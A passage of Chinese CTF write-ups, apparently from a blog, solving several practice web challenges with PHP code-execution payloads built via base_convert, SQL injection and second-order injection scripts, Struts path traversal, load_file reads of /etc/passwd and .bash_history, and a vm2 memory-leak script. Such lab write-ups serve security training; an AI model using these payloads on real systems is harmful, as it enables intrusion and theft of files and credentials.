}
这个匹配规则能过的
abs(1) 匹配出abs能过
1abs() 匹配出abs能过
absa() 匹配出absa不能过
abs(a) 匹配出abs和a,a不在不能过
abs()a 匹配出abs和a,a不在不能过
思路一
拼接裁剪的方式,首先不能加入其他的字符,只能使用上面的字符
payload:$pi=hypot.min.fmod;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{3};$pi()
这段payload分为三部分,
- 首先定义一个变量名$pi,因为pi在白名单中最短,其值为phpot.min.fmod,因为hypot min fmod均在白名单中,而且phpinfo中的所有字符均可以在其中找到
- 然后从hypot.min.fmod中分别取第2 0 2 6 7 8 3位置的字符,拼接成phpinfo字符串,并重新赋值给$pi变量
- 最后执行$pi(),即执行phpinfo()函数.
但是根据这个思路去getflag,怎么也会超过长度
而其中的关键是base_convert()函数
base_convert() 函数在任意进制之间转换数字。
语法
base_convert(number,frombase,tobase);参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
技术细节
返回值: number 转换为指定进制。
返回类型: String
PHP 版本: 4+
这里可以使用16进制,还可以使用36进制,可以带上所有小写字母
36进制,是数据的一种表示方式,同我们日常生活中的表示方法不一样,它由0-9,a-z组成,字母不区分大小写,与十进制对应的关系是0-9对应0-9,a-z对应10-35
那么接下来我们就可以进行转换了,既然字母会有过滤我们就可以将字母转换成十进制的数字,在使用baseconvert(10,36)转换回来
<?php
echo base_convert('phpinfo',36,10);
#55490343972
<?php
echo base_convert(55490343972,10,36);
#phpinfo
payload:base_convert(55490343972,10,36)()
接着我们使用system(‘ls’),这里因为不能转换()和’'只能转换字母
<?php
echo base_convert('system',36,10);
echo "\n";
echo base_convert('ls',36,10);
#1751504350
#784
payload:base_convert(1751504350,10,36)(base_convert(784,10,36))
接下来就是读取flag了,如果直接使用读取文件的函数file_get_contents中包含下划线,不在我们36进制之中,并且base_convert()的第一个参数太长会溢出,也就是10进制数没法无限大
思路二
借助getallheader()来控制请求头,通过请求头字段读取flag.php.这里也就类似于get,post之类的,但是只能控制小写字符,所以大写的直接被pass掉.getallheader()返回的是数组,要从数组里面取数据用array[‘xxx’].但是[]被waf了,因为{}中是可以带数字的,这里用getallheader(){1}可以分会自定义头1里面的内容
payload:c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
#exec(getallheaders(){1})
exec() 执行 command
参数所指定的命令。
base_convert(696468,10,36); 代表把696468从10进制转换为36进制,结果为exec。
base_convert(8768397090111664438,10,30); 代表把8768397090111664438从10进制转换为30进制,结果为getallheaders。注意这里不能用36进制,因为getallheaders的36进制转换为10进制后数太长会溢出,也就是无法把10进制数变回getallheader。所以我们在这里采用30进制。(当然这是在linux下使用php7.3版本的结果,如果是在windows下php7.0前的所有版本对于getallheader进行30-36的进制转换,再转换回来的时候都存在溢出,也就是无法把10进制数变回getallheader)
思路三
使用system(nl*)
payload:($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
base_convert(1751504350,10,36) -------->system
$pi(1438255411,14,34) ------>hex2bin
dechex(1852579882) ----->将十进制转为十六进制:6e6c202a(字符串形式是:nl *)
nl *可以读取当前目录下的所有文件;
攻防世界isc-2
扫目录
download.php
downloads
目录有文件浏览漏洞
login
下有个paper
点一下跳转到
http://111.200.241.244:65396///index.php/login/download.php?dl=ssrf
下载下来一个pdf里面是多半是ssrf
js
secret
secret.php
secret_debug.php
显示ip错误,那么这里就应该是ssrf的利用.这里是secret_debug.php说明结构应该和secret差不多,那么这里就可以注入了.
这里小试一下sql注入
"txtfirst_name":"1'", #单引号出现报错
right syntax to use near '3','4','5','01/10/2019','3541534')' at line 1"txtfirst_name":'1"', #回显正常
right syntax to use near '5','01/10/2019','1516838')' at line 1
并且在那么处爆了一个4
说明txtLast_name这里有回显,那么我们需要将语句构造到这里那么的话就需要使用/**/进行闭合一下下
最终闭合之后在4处回显数据库名称
import random
import urllib.parseimport requestsurl = 'http://111.200.241.244:65396/download.php'
s1 = 's=3&txtfirst_name=w%27%23&txtmiddle_name=q&txtLast_name=q&txtname_suffix=w&txtdob=22%2F11%2F1111&txtdl_nmbr=1234561&txtRetypeDL=1234561&btnContinue2=Continue'
s1 = s1.replace('&','","')
s1 = s1.replace('=','":"')
#print(s1)这里替换一下
subquery = "database()"#获取数据库名
#ssrfw
subquery = "select table_name from information_schema.tables where table_schema='ssrfw' limit 1"
#cetcYssrf
subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' limit 1,1"
#secretName
subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' limit 1,1"
#value
subquery = "select value from cetcYssrf limit 1"
#flag{cpg9ssnu_OOOOe333eetc_2018}
id = random.randint(1,10000000)
params = {"s":"3",
"txtfirst_name":"L','1',("+subquery+"),'1'/*",
"txtmiddle_name":"q",
"txtLast_name":"q",
"txtname_suffix":"w",
"txtdob":"*/,'01/10/2019",
"txtdl_nmbr":id,
"txtRetypeDL":id,
"btnContinue2":"Continue"}
d = 'http://127.0.0.1/secret/secret_debug.php?'+urllib.parse.urlencode(params)
req = requests.get(url,params={"dl":d})
print(req.text)
攻防世界upload
扫目录
有几个配置文件
里面也发现不了什么东西,只能回到register页面
注册一个登进去,发现是一个上传目录的地方
小传一个,回显名称,文件链接呢
说是注入漏洞,我们之间select database()发现只剩下databse() select被替换为了空,那么我们先fuzz一下
这里直接双写绕过过滤
猜测它直接将我们上传的文件存入了数据库
那可能通过文件进行sql注入?
类似insert into 表名(‘filename’,…) values(‘上传的文件名’,…);这样
构造’ select database() '.jpg上传
结果被过滤了
猜测是select或空格被过滤
都改掉:双写select,空格用“+”
构造’+(selselectect database())+'.jpg
返回0
CONV():进制的转换
CONV(N,from_base,to_base)
select conv(16,10,16);
+—————-+
| conv(16,10,16) |
+—————-+
| 10 |
+—————-+
1 row in set (0.04 sec)
N是要转换的数据,from_base是原进制,to_base是目标进制
如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数mysql> select conv(-16,10,16);
+——————+
| conv(-16,10,16) |
+——————+
| FFFFFFFFFFFFFFF0 |
+——————+
1 row in set (0.00 sec)
mysql> select conv(-16,10,-16);
+——————+
| conv(-16,10,-16) |
+——————+
| -10 |
+——————+
1 row in set (0.00 sec)
substr():搜索字符串substr(string string,num start,num length);string为字符串,start为起始位置,length为长度。
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
所以构造
'+(selecselectt substr(database(),1,12))+'
又返回一个0
这里将database进行16进制转码
'+(selecselectt substr(hex(database()),1,12))+'
返回了一个7765625
但是当进行16进制转字符串时却发现,并不是完整数据
说明有截断
那么就使用conv将16进制转换为10进制
'+(selecselectt conv(substr(hex(database()),1,12),16,10))+'
至于这里为什么要截取呢那是因为13太长了转换成十进制会造成科学计数法
'+(selecselectt conv(substr(hex(database()),1,12),16,10))+'
#web_up
'+(selecselectt conv(substr(hex(database()),13,12),16,10))+'
#load
database:web_upload
接着注入表的时候发现from被过滤了
再次双写绕过
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),1,12),16,10))+'
#files,
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),13,12),16,10))+'
#hello_
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),25,12),16,10))+'
#flag_i
'+(selecselectt conv(substr(hex((selecselectt group_concat(table_name) frfromom information_schema.tables where table_schema='web_upload')),37,12),16,10))+'
#s_here
#hello_flag_is_here
得到字段名
'+(selecselectt conv(substr(hex((selecselectt group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'
#i_am_f
'+(selecselectt conv(substr(hex((selecselectt group_concat(column_name) frfromom information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'
#lag
#i_am_flag
得到数据
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'
#!!_@m_
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'
#Th.e_F
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'
#!lag
#!!_@m_Th.e_F!lag
Zhuanxv攻防世界
文件包含下载文件
打开之后可以发现一个时钟页面,这里边点点看,边扫一下目录
挨个打开看看,发现在list下面有一个登录
这里随便点点,抓包看着点
发现有jsession ,但是这里为什么就能确定是java写的呢
Cookie
“jsessionid是一个Cookie,可以通过在URL后面加上“;jsessionid=xxx”来传递“session id”;其中Servlet容器用来记录用户session,当我们创建回话时会自动创建,用来记录用户的访问记录。
紧接着发现一个疑似文件包含的漏洞,一般考Java的题目都会想办法给出源码
那么这里利用这个去尝试去读取…/…/WEB-INF/web.xml文件
/loadimage?fileName=../../WEB-INF/web.xmlWEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:- `/WEB-INF/web.xml`:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- `/WEB-INF/classes/`:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
- `/WEB-INF/lib/`:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- `/WEB-INF/src/`:源码目录,按照包名结构放置各个java文件。
- `/WEB-INF/database.properties`:数据库配置文件
有一个struts2
apps-存放了所有Struts2的示例项目docs-存放了所有Struts2与XWork的文档lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放
这里接着读取struts.xml
/loadimage?fileName=../../WEB-INF/classes/struts.xml
HTTP/1.1 200
Content-Disposition: attachment;filename="bg.jpg"
Content-Type: image/jpeg
Date: Tue, 08 Mar 2022 07:45:12 GMT
Connection: close
Content-Length: 2243<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack> </interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>
这里有些class文件
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
这里试着下载class文件试试,将.替换为/再在末尾添加.class
com/cuitctf/action/UserLoginAction.class
接着使用idea反编译,得到登录源码,这里截取了部分有用的源码
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1) {
return true;
} else {
this.addActionError("Username or password is Wrong, please check!");
return false;
}
}
接着下载classes下面的applicationContext.xml文件
applicationContext.xml
下载userserviceimpl.class
public List<User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;
}
找到登录的规则
是登陆语句的过滤规则,在UserDaoImpl.class中找到:
public List<User> loginCheck(String name, String password) {
return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
python脚本
import requests
s=requests.session()flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://111.200.241.244:62308/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
#sctf{C46E250926A2DFFD831975396222B08E}
unfinish二次注入,hex二次转码table名爆破
扫到几个目录,注册,登录
可能存在注入,接下来用sqlmap跑一下加上手工测试,sqlmap跑不出来
这里发现用户名有回显
邮箱可能没有注入
用户名处单引号注册失败,双引号注册成功,可能存在注入
发现回显
说明存在注入,但是当输入时发现返回nnnnoooo!!!有过滤,过滤了下面这些,这里的表名可能需要猜或者爆破
username=1' and left(database(),1)>'a'#
这里的注入我采用了admin’+0+’ 与admin’+1+'进行闭合
如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
而这里可以将database()进行截取并进行ascii编码
但是这里的逗号进行了过滤,那么可以使用from {} for {}
还有可以使用十六进制转换后运算 有疑问,为啥不用二进制或者八进制。用例子来说明:
可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。
mysql> select hex('dvwa{}');
+---------------+
| hex('dvwa{}') |
+---------------+
| 647677617B7D |
+---------------+
1 row in set (0.00 sec)mysql> select hex('dvwa{}')+'0';
+-------------------+
| hex('dvwa{}')+'0' |
+-------------------+
| 647677617 |
+-------------------+
1 row in set (0.00 sec)
所以需要在进行一次十六进制。mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}')) |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
| 3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)
又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
这里还可以使用分段读法。
mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';
+----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |
+----------------------------------------------+
| 3634373637 |
+----------------------------------------------+
1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |
+-----------------------------------------------+
| 3736313742 |
+-----------------------------------------------+
1 row in set (0.00 sec)mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |
+-----------------------------------------------+
| 3744 |
+-----------------------------------------------+
1 row in set (0.00 sec)mysql> select unhex(unhex(363437363737363137423744));
+----------------------------------------+
| unhex(unhex(363437363737363137423744)) |
+----------------------------------------+
| dvwa{} |
+----------------------------------------+
1 row in set (0.11 sec)
综上得到了最终payload而这里的表名其实是未知的那么可以通过暴力破解的方法得到
0' + ascii(substr((select * from flag) from 1 for 1)) + '0
首先构造
0' + ascii(substr((select * from flag) from 1 for 1)) + '0
会返回这个,当表名错误时会返回这个
0' + ascii(substr((select * from flag) from 1 for 1)) + '0
那么就可以爆破了,这里就使用了ctf专用字典,在表名这里设置变量
得到表名,接着就可以直接爆破字段
写出python脚本
使用ascii转码
#payload=0' + ascii(substr((select * from flag) from 1 for 1)) + '0
import requests
import reregister_url = 'http://111.200.241.244:63280/register.php'
login_url = 'http://111.200.241.244:63280/login.php'
#payload=0' + ascii(substr((select * from flag) from 1 for 1)) + '0
for i in range(1,100):
payload = "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i
#print(payload)
register_data = {
'email':'1321@12%d'% i,#更改email的值%i是对%d 的格式化输出
'username':payload,
'password':'1'
}
res_register = requests.post(url=register_url,data=register_data) login_data = {
'email':'1321@12%d'% i,
'password':'1'
}
res_login = requests.post(url=login_url,data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res_login.text)
'''
r'<span class="user-name">\s*(\d*)\s*</span>'
<span class="user-name">表示匹配这些字符
\s表示匹配空白字符包括空格制表符换行符*表示匹配0个或更多前面的标志
()表示捕获分组用来创建一个整体并在下文中进行捕获也就是正则匹配到这个标志式在得到想要的值而()包括的就是想要得到的值
\d表示匹配任意数字0-9*表示匹配0个或更多前面的标志
而这里有r前缀表示不识别转义字符因此不用在/前加\转义
'''
print(chr(int(code.group(1))), end='') # group()在正则表达式中用于获取分段截获的字符串 也就是获取捕获分组中的第一组元素的值
# 接着进行字符串转int类型,在进行int类型转chr类型,这是由于转chr类型的参数只能为int类型所以要先进行str转int
# 这里的print函数的end=''的含义是原来print默认end为'\n'换行,而这里转换为空
使用hex二次转码
#payload=0' + substr(hex(hex((select * from flag))) from %d for 1) + '0
import binasciiimport requests
import reflag=''
register_url = 'http://111.200.241.244:63280/register.php'
login_url = 'http://111.200.241.244:63280/login.php'
#payload=0' + substr(hex(hex((select * from flag))) from %d for 1) + '0首先进行两次转码接着截取值
for i in range(1,1200):
payload = "0' + substr(hex(hex((select * from flag))) from %d for 1) + '0" % i
#print(payload)
register_data = {
'email':'13@12%d'% i,#更改email的值%i是对%d 的格式化输出
'username':payload,
'password':'1'
}
res_register = requests.post(url=register_url,data=register_data) login_data = {
'email':'13@12%d'% i,
'password':'1'
}
res_login = requests.post(url=login_url,data=login_data)
# print(res_login.text)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',res_login.text)
'''
r'<span class="user-name">\s*(\d*)\s*</span>'
<span class="user-name">表示匹配这些字符
\s表示匹配空白字符包括空格制表符换行符*表示匹配0个或更多前面的标志
()表示捕获分组用来创建一个整体并在下文中进行捕获也就是正则匹配到这个标志式在得到想要的值而()包括的就是想要得到的值
\d表示匹配任意数字0-9*表示匹配0个或更多前面的标志
而这里有r前缀表示不识别转义字符因此不用在/前加\转义
'''
flag += code.group(1)
print(flag)
flag = '36363643363136373742333233343339333436353334363236363330333633373333333436333333333936323635333236353331333633323336363633373335333736323631333436333744'
print(binascii.unhexlify(binascii.unhexlify(flag).decode()).decode())
# group()在正则表达式中用于获取分段截获的字符串 也就是获取捕获分组中的第一组元素的值
# 接着进行字符串转int类型,在进行int类型转chr类型,这是由于转chr类型的参数只能为int类型所以要先进行str转int
# 这里的print函数的end=''的含义是原来print默认end为'\n'换行,而这里转换为空
load_file函数hex编码读取文件加sql二次注入
爆破密码
留言,随便点点,同时后台扫一下目录
发个贴试试
发现提示爆破,先来1000个数字,一般不能数字加字母吧,服务器也受不了
666就是密码,登进去发现可以发贴了,这里能有注入,因为有回显
git源码泄露之暂存区
这里也扫到了git源码泄露
git源码泄露,直接使用
python2 githack http://111.200.241.244:50508/.git/
但是这里发现代码并不全面而从控制台可以看到提示
这里便使用githacker
python GitHacker.py --url http://111.200.241.244:59917/.git/ --folder result #这里发现只有1.0.2可以
这里接着使用,查看过去命令
git log --reflog
接着回退到这个版本
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
这里就得到完整代码了
<?php
include "mysql.php";#包含mysql.php
session_start();#session开始
if($_SESSION['login'] != 'yes'){#如果login不等于yes
header("Location: ./login.php");#返回登录
die();
}if(isset($_GET['do'])){#如果设置了do参数
switch ($_GET['do'])#选择do参数
{
case 'write':#如果do是write
$category = addslashes($_POST['category']);#对post提交的category数据进行addslashes转码主要转'"%00\
$title = addslashes($_POST['title']);#addslashes转码'"\null
$content = addslashes($_POST['content']);#addlashes转码'"\null
$sql = "insert into board#插入到board表中三个参数
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);#返回结果
header("Location: ./index.php");#重定向到index.php
break;
case 'comment':#如果是comment参数
$bo_id = addslashes($_POST['bo_id']);#对bo_if进行addslashes转码'"\null
$sql = "select category from board where id='$bo_id'";#查询bo_id语句
$result = mysql_query($sql);#返回查询结果
$num = mysql_num_rows($result);#返回结果中的行数
if($num>0){#如果返回大于一条
$category = mysql_fetch_array($result)['category'];
#从返回结果中取出数组中category参数的值这里就产生了注入
#因为在mysql的查询过程中会去除addslashes添加的\ 必如在查询之前category=admin\' 在mysql查询结束过程之后就会变成 admin'
#而在下面的插入语句之前并未对category进行addslashes转换造成了注入
$content = addslashes($_POST['content']);#进行addslashes转换
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
SQL读取文件
用load_file()函数进行读取, 值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL
.bash_history
.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。家目录
.DS_Store文件泄露
文件泄露,有一个下载至本地的脚本,不过这题用不上。
这里先分析一下发包情况
先是写入数据
再是提交留言
有过程之后再去分析sql语句发现可以先将aaa’,content=database(),/*注入进入数据库之后在次提交content = */#闭合语句
值得注意的是,这里的sql语句为四行,而#
只能注释一行,所以要用/**/ 我们发贴在category处填入categroy = aaa’,content=database(),/*
$sql = "insert into board #插入到board表中三个参数
set category = 'aaa',content=database(),/*',
title = '$title',
content = '1";
#先写进去
$sql = "insert into comment
set category = 'aaa',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);
在提交*/#闭合语句
payload=aaa',content=user(),/* */# #root@localhost
root 接着使用load_file函数读取本地文件
payload=a',content=(select(load_file('/etc/passwd'))),/*
这里找到文件位置之后在读取.bash_history文件
payload=a',content=(select(load_file('/home/www/.bash_history'))),/*
- 先在/tmp目录下解压压缩包 html.zip,里面有一个`.DS_Store`文件
- 然后删除压缩包
- 再将html目录复制到/var/www/目录下
- 切换到/var/www/html,然后删除`.DS_Store`
- 但是并没有删除/tmp/html 目录下的`.DS_Store`
payload=',content=(select(load_file("/tmp/html/.DS_Store"))),/*
这里发现载入不全
用16进制显示
payload=1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
这里使用网上的hex解码看不清,我直接使用sql的unhex()函数解码
得到 flag _ 8946e1ff1ee3e40f.php,读取文件
payload=a',content=(select(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")))),/*
这里发现是假的
这里发现他进行了目录移动
先在/tmp目录下解压压缩包 html.zip,里面有一个`.DS_Store`文件
- 然后删除压缩包
- 再将html目录复制到/var/www/目录下
- 切换到/var/www/html,然后删除`.DS_Store`
- 但是并没有删除/tmp/html 目录下的`.DS_Store`
试一下
payload=a',content=(select(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*
node.js与VM2沙盒逃逸
得到源码
"use strict";var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flag #定义flag变量app.get("/", function(req, res) {
res.header("Content-Type", "text/plain"); /* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) { #取参数data的值
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));#采用eval函数执行命令取得buffer的内容
} else {
res.send(fs.readFileSync(__filename).toString());
}
});app.listen(3000, function() {
console.log("listening on port 3000!");
});
泄露,给出了源码,应该是段Node.js代码,没太接触过
其中定义了变量flag,并且存在eval()函数,可能是需要命令执行,并且注释也提示了flag被藏在这里。查看到前面有var { VM } = require(“vm2”);,查阅资料后,得知是Node.js 官方安全沙箱的库
沙箱环境 VM2原理
VM2基于VM,使用官方的VM库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。 vm2 特性 运行不受信任的JS脚本
沙箱的终端输出信息完全可控
沙箱内可以受限地加载modules
可以安全地向沙箱间传递callback
死循环攻击免疫 while (true) {}
在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
注:关于 Buffer
JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。
只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(800)分配一个800的单位为8位字节的buffer,编写Python3的EXP:
import requestsurl = 'http://111.200.241.244:51153/?data=Buffer(800)'while True:
res = requests.get(url)
print(res.status_code) if 'flag{' in res.text:
print(res.text)
break
发表评论 取消回复